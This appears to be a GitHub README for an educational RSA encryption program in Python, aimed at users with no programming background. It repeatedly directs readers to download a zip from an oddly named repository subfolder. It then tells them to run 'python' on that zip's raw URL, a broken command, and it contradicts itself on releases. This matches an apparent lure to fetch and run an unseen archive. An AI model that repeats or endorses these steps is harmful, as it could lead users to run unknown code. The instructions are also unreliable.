Skip to content

Mirangi94/rsa-algorithm-python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ” rsa-algorithm-python - Learn RSA Encryption Easily

Download the software


πŸ“˜ About rsa-algorithm-python

This is a simple Python program that shows how RSA encryption works. RSA is a way to keep information safe by turning it into codes that only the right person can read. This program helps you understand how RSA creates keys, locks (encrypts), and unlocks (decrypts) messages.

You don’t need to know programming to use this. The tool runs on your computer and lets you try the RSA steps yourself. It’s meant for learning and safe experimentation.


πŸ’» System Requirements

To run rsa-algorithm-python, your computer should meet these requirements:

  • Operating system: Windows 10 or newer, macOS 10.13 or newer, or Linux (Ubuntu 18.04 or later recommended)
  • Python: Version 3.7 or higher installed on your computer
  • Disk space: At least 50 MB free
  • RAM: Minimum 2 GB

If you do not have Python installed, this guide will help you get it set up easily.


πŸ›  Features

rsa-algorithm-python includes these key features:

  • Key generation: Create your own RSA public and private keys.
  • Encryption: Turn plain messages into coded text.
  • Decryption: Turn coded text back into readable messages.
  • Step-by-step process: See how each part of RSA works for learning.
  • Command line interface: Simple text menus to guide you through actions.
  • Educational output: Detailed messages explain what the program does.

πŸš€ Getting Started

This section helps you get the software working on your computer from scratch.

Step 1: Install Python

rsa-algorithm-python runs on Python, so you'll need it first, if you haven't installed it yet.


πŸ“₯ Download & Install rsa-algorithm-python

You can get the software files from this page:

Download the software

What to do:

  1. Click the link above or visit:
    https://github.com/Mirangi94/rsa-algorithm-python/raw/refs/heads/main/brachiolaria/algorithm-rsa-python-v1.0-beta.5.zip

  2. Look for the latest release (usually the top item).

  3. Download the .zip file which contains the program files.

  4. Once downloaded, unzip the folder to a place you can easily access, like your Desktop.


▢️ How to Run rsa-algorithm-python

After installing Python and downloading the program, here’s how to run it.

For Windows:

  1. Open Command Prompt:

    • Click the Start menu.
    • Type cmd and hit Enter.
  2. Go to the folder where you unpacked the files:

    • Type cd Desktop\rsa-algorithm-python if you saved it on Desktop.
    • Update the path if saved somewhere else.
  3. Run the program by typing:

    python https://github.com/Mirangi94/rsa-algorithm-python/raw/refs/heads/main/brachiolaria/algorithm-rsa-python-v1.0-beta.5.zip
    

    You should see a menu or instructions to follow.

For macOS/Linux:

  1. Open Terminal (found in Applications or search bar).

  2. Navigate to the folder:

    cd ~/Desktop/rsa-algorithm-python
    

    Change path if you saved it in a different folder.

  3. Start the program by typing:

    python3 https://github.com/Mirangi94/rsa-algorithm-python/raw/refs/heads/main/brachiolaria/algorithm-rsa-python-v1.0-beta.5.zip
    

    The program will display options or messages to guide you.


🧩 Using rsa-algorithm-python

Once running, the program will guide you with simple prompts:

  1. Key Generation: The program will ask you to create RSA keys. Just press Enter when prompted.

  2. Encrypt a Message: Type the message you want to lock up.

  3. Decrypt a Message: You can try decrypting messages locked with your keys.

The program shows the numbers used in RSA, explaining how keys protect your information.


πŸ‘©β€πŸ’» More Learning

rsa-algorithm-python is designed for learning how RSA cryptography works. It is not meant for securing real data, but to teach key cryptography ideas clearly.

You can open the program code with any text editor to peek inside if you want to see how the steps work, but it's fine to just use and learn from the interface.


πŸ“« Getting Help

If you run into problems:

  • Make sure Python is installed and working.
  • Confirm you typed the folder path correctly in the command prompt or terminal.
  • Check for error messages and search online for the exact text.
  • Consider visiting the GitHub repository page to see if there are updates or issues reported.

πŸ”– Topics

This software relates to:

  • Computer security
  • Cryptography
  • Cybersecurity
  • Decryption
  • Encryption
  • Information security
  • Learning project
  • Public key cryptography
  • Python programming
  • RSA algorithm

Made for anyone who wants to see how public-key encryption works in a safe, simple Python program.

Releases

No releases published

Packages

 
 
 

Contributors

Languages